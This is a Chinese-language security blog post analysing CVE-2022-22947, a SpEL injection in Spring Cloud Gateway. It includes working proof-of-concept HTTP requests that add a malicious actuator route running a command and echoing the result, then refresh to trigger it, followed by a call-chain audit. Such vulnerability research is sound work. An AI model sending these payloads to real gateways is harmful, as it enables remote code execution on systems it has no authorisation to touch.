CVE-2022-22947 SpringCloud GateWay SPEL RCE分析
zerotwo 技术文章 4652浏览 · 2022-03-21 15:00

CVE-2022-22947 SpringCloud GateWay SPEL RCE分析

环境

git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0

POC

POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Content-Type: application/json

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

审计

首先根据POC可以大致看出这个漏洞根本原因是存在SPEL注入,再根据diff记录,重点关注SPEL注入相关函数的修改:

从这里就可以明显看出漏洞的触发点在org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue,接下来就是往上回溯执行点

org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType这个枚举中调用了getValue函数,而shortcutType方法则调用了ShortcutType.DEFAULT枚举:

继续向上查找shortcutType函数的调用情况,可以看到在org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties中对该函数进行了调用

这里的normalizeProperties函数对成员变量properties进行了调用,继续向上,则是ConfigurableBuilder的父类AbstractBuilder#bind中调用了normalizeProperties函数

继续向上找bind方法的调用

这里可以看到不仅调用bind方法,还调用了properties方法对后续关键的成员变量properties进行了设置

通过loadGatewayFilters方法向上回溯调用,可以找到这么一条链

RouteDefinitionRouteLocator#loadGatewayFilters -> RouteDefinitionRouteLocator#getFilters -> RouteDefinitionRouteLocator#convertToRoute -> RouteDefinitionRouteLocator#getRoutes -> 
    GatewayControllerEndpoint#route

从这里就能看出漏洞的来源是filter路由的添加

POC执行流程

首先通过添加路由功能添加一条路由,也就是POC中的请求,代码如下

这里可以看下构造路由所需的参数,也就是RouteDefinition的结构

再跟进一下FilterDefinition

还需要一个name和args的键值对

其他的则是validateRouteDefinition函数值得注意,它主要校验添加的路由的name要和已有的filter相匹配

简单看一下变量,已有的filter有29个,我们就可以根据这个29个filter的name去构造poc,而AddResponseHeader显然也是其中一个(选择这个filter的原因是它能够回显)

发送POC之后,新的路由就被添加了,但此时漏洞并没有触发,需要调用refresh接口激活刚添加的路由

POST /actuator/gateway/refresh HTTP/1.1 
Host: 127.0.0.1:8080 
Connection: close

发送之后,则会调用上文中的漏洞触发过程

总结

这个漏洞的原理还是比较简单的,但是整个利用链感觉还是比较复杂,想要完全梳理漏洞的触发逻辑还需要对spring cloud gateway这个框架有一定的了解,因此本文只是对这个漏洞的利用过程进行了一个大致的梳理,有一些细节就没有去深究了,这也是后续需要学习完善的地方。

参考

https://www.cnblogs.com/bitterz/p/15964852.html

https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response

3 条评论
某人
表情
可输入 255